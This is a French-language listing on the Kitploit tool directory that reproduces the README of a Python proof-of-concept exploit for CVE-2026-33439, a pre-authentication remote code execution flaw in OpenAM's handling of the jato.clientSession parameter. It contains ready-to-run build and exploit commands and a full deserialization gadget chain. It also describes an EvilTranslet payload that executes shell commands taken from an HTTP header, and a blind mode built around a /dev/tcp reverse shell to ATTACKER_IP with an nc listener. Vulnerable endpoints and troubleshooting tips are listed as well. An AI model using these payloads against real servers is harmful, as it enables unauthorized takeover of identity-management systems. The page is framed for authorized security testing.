Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-33439-PoC — PoC Python exploitant CVE-2026-33439, une RCE pré-authentification dans OpenAM via la désérialisation Java du paramètre jato.clientSession, avec modes shell interactif et aveugle. | Kitploit
Outils/GitHubGitHub/jonaschen0103/cve-2026-33439-poc
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionRed TeamingOutil d'Accès à Distance
GitHubjonaschen0103/cve-2026-33439-poc

CVE-2026-33439-PoC

PoC Python exploitant CVE-2026-33439, une RCE pré-authentification dans OpenAM via la désérialisation Java du paramètre jato.clientSession, avec modes shell interactif et aveugle.

Voir le dépôt
il y a 4h 45mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-33439 — RCE pré-authentification dans OpenAM

Exécution de code à distance avant authentification dans OpenIdentityPlatform OpenAM <= 16.0.5 via une désérialisation Java non sécurisée du paramètre jato.clientSession (CVSS 9.8).

Pour des tests de sécurité autorisés uniquement.

Démarrage rapide

root@kitploit:~
# 1. Build payload (downloads JARs from Maven Central + compiles gadget chain)
python build.py

# 2. Exploit — interactive shell (output returned in HTTP response)
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

Prérequis

  • Python 3.10+ (stdlib uniquement, pas de pip install)
  • JDK 21 (pour build.py — doit correspondre à la version de la JVM du serveur cible ; JDK 25 produit des objets sérialisés incompatibles)

Deux modes

Mode interactif (par défaut) — sortie dans la réponse HTTP

L'EvilTranslet lit l'en-tête HTTP cmd de la requête, l'exécute et écrit stdout directement dans la réponse HTTP. Aucun listener nécessaire.

root@kitploit:~
# Build interactive payload (no --command flag)
python build.py

# Single command
python exploit.py --url https://target/openam/ui/PWResetUserValidation "whoami"

# Interactive pseudo-shell
python exploit.py --url https://target/openam/ui/PWResetUserValidation --shell

# Auto-detect endpoint from base URL
python exploit.py --url https://target/openam/ --probe --shell

Mode aveugle — pour les reverse shells / OOB

La commande est intégrée dans le bytecode de l'EvilTranslet. Aucune sortie n'est renvoyée ; utilisez un listener (nc, etc.) pour intercepter les callbacks.

root@kitploit:~
# Build blind payload with reverse shell command
python build.py --command "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

# Terminal 1: listener
nc -lvnp 4444

# Terminal 2: deliver to all JATO endpoints
python exploit.py --url https://target/openam/ --all

Toutes les options

build.py

OptionDescription
(aucune option)Construit la payload interactive (lit l'en-tête cmd à l'exécution)
--command "CMD"Construit la payload aveugle avec CMD intégrée dans le bytecode
--jars DIRUtilise un répertoire local de JARs au lieu de les télécharger (par défaut : ./libs)
--download-onlyTélécharge uniquement les JARs, sans compiler

exploit.py

OptionDescription
--url URLURL cible (requis) — endpoint complet ou URL de base avec --probe/--all
--shellPseudo-shell interactif (mode interactif)
--probeDétecte automatiquement l'endpoint vulnérable à partir de l'URL de base
--allEnvoie la payload à TOUS les endpoints JATO (mode aveugle)
--method GET|POSTMéthode d'envoi HTTP (par défaut : GET)
--proxy URLProxy HTTP (ex. http://127.0.0.1:8080 pour Burp)
--timeout SECSDélai d'expiration des requêtes (par défaut : 15)
--verify-tlsActive la vérification du certificat TLS
--debugAffiche les détails des requêtes/réponses

Transparence de la payload

Tout le code source est dans le dépôt — aucun blob opaque. Les sources Java sont intégrées dans build.py sous forme de constantes de chaînes lisibles. Après compilation, vérifiez la sortie :

root@kitploit:~
python verify.py              # summary: classes, integrity, red-flag scan
python verify.py --strings    # all printable strings in the payload
python verify.py --hexdump    # full hex dump
python verify.py --dump p.bin # export raw bytes for SerializationDumper / javap

Chaîne de gadgets

root@kitploit:~
PriorityQueue.readObject()
  -> heapify() -> Column$ColumnComparator.compare()
    -> Column.getTable().isSortedAscending()
    -> Column.getProperty() -> PropertyUtils.getObjectPropertyValue()
      -> TemplatesImpl.getOutputProperties()
        -> defineTransletClasses() -> newInstance()
          -> EvilTranslet.<clinit>()  // command executes here

EvilTranslet (mode interactif)

  1. Thread.currentThread().getContextClassLoader().loadClass("com.iplanet.jato.RequestManager") — récupère la requête/réponse HTTP via le classloader du webapp
  2. request.getHeader("cmd") — lit la commande
  3. new ProcessBuilder("/bin/sh", "-c", cmd) — exécute
  4. response.reset() — efface toute sortie JSP antérieure
  5. Écrit stdout dans la réponse en text/plain, puis ferme le flux de sortie

EvilTranslet (mode aveugle)

  1. Runtime.getRuntime().exec(new String[]{"bash", "-c", "<baked-in command>"}) — tire et oublie

Endpoints vulnérables

Tout endpoint JATO ViewBean affichant des balises <jato:form>, accessible avant authentification :

EndpointRemarques
/openam/ui/PWResetUserValidationRéinitialisation de mot de passe (le plus fiable)
/openam/ui/PWResetQuestionQuestions de sécurité pour la réinitialisation de mot de passe
/openam/ui/LoginPage de connexion

Dépannage

SymptômeCauseCorrectif
Page HTML renvoyée au lieu de la sortie de commandeLe JSP écrase la réponseUtilisez --shell avec la payload interactive ; ou passez en mode aveugle
La désérialisation ne se déclenche pasIncompatibilité de version JDKRecompilez avec JDK 21 : export JAVA_HOME=/path/to/jdk-21
Délai d'expiration du handshake TLSLe serveur exige un nom d'hôte SNIAjoutez la cible dans /etc/hosts et utilisez le nom d'hôte, pas l'IP
javac introuvableJDK non installéapt install openjdk-21-jdk

Références

  • NVD — CVE-2026-33439
  • OpenAM Advisory GHSA-2cqq-rpvq-g5qj
  • Broadcom Protection Bulletin

Licence

MIT

Télécharger l’outil